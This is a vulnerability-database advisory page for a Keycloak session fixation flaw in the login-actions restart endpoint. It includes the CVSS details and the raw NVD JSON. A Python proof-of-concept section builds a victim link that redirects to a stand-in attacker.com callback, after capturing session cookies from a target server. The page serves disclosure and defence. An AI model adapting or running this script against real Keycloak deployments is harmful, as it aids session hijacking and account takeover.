Security Vulnerability Report
中文
CVE-2026-7507 CVSS 7.5 HIGH

CVE-2026-7507

Published: 2026-05-19 12:16:20
Last Modified: 2026-05-20 17:16:29

Description

A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考Red Hat安全公告RHSA-2026:19594等)
Red Hat Single Sign-On 7.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-7507 (Session Fixation in Keycloak) # This script demonstrates the concept of fixing a session ID. import requests def generate_malicious_link(target_host, client_id): # 1. Attacker creates a new session to obtain a session cookie session = requests.Session() # Initiate authentication flow to get AUTH_SESSION_ID auth_url = f"{target_host}/realms/master/protocol/openid-connect/auth" params = { "client_id": client_id, "response_type": "code", "redirect_uri": "http://attacker.com/callback" } print("[*] Initiating authentication request to fixate session...") resp = session.get(auth_url, params=params, allow_redirects=False) # Extract the session cookie (e.g., AUTH_SESSION_ID or KC_RESTART) session_cookie = session.cookies.get_dict() if not session_cookie: print("[-] Failed to obtain session cookie.") return None print(f"[+] Attacker obtained session cookie: {session_cookie}") # 2. Construct the malicious link using the vulnerable /login-actions/restart endpoint # The victim must click this link while authenticated. restart_endpoint = f"{target_host}/realms/master/login-actions/restart" # The link typically includes parameters that trigger the restart with the attacker's session context malicious_link = f"{restart_endpoint}?client_id={client_id}&redirect_uri=http://attacker.com/callback" # Note: In a real attack, the attacker must ensure the victim's browser sends the fixed cookies # or the endpoint accepts the session handle from the URL/params without strict ownership checks. print(f"[+] Malicious link generated (Send this to victim):\n{malicious_link}") return malicious_link, session_cookie if __name__ == "__main__": target = "https://keycloak.example.com" client = "admin-cli" generate_malicious_link(target, client)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7507", "sourceIdentifier": "[email protected]", "published": "2026-05-19T12:16:19.687", "lastModified": "2026-05-20T17:16:28.883", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A session fixation vulnerability was found in Keycloak's login-actions endpoints. An unauthenticated attacker could exploit this flaw by pre-creating an authentication session and tricking a victim into visiting a maliciously crafted link. By leveraging the /login-actions/restart endpoint—which processes session handles without adequate CSRF protection or cookie ownership validation—an attacker can reset the authentication flow state. This causes Single Sign-On (SSO) to authenticate the victim transparently upon clicking the link, allowing the attacker to hijack the required-action form without needing the victim's credentials. A successful exploit could lead to complete account takeover, including highly privileged administrative accounts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19594", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19595", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19597", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-7507", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464145", "source": "[email protected]"}]}}